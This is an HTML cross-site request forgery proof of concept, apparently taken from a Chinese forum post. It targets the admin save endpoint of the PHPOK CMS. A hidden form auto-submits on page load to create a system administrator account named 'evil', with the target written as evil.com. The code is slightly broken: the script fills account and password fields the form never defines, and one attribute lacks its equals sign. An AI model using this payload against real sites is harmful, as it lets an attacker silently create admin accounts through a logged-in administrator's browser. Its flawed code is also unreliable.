[AppleScript] 纯文本查看 复制代码

<div style="display:none">
 
<form action="http://www.evil.com/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">

<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value"submit"/>
</form>
<script>
var t = document.poc;
t.account.value="evil";
t.pass.value="evil";
t.email.value="evil@qq.com";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
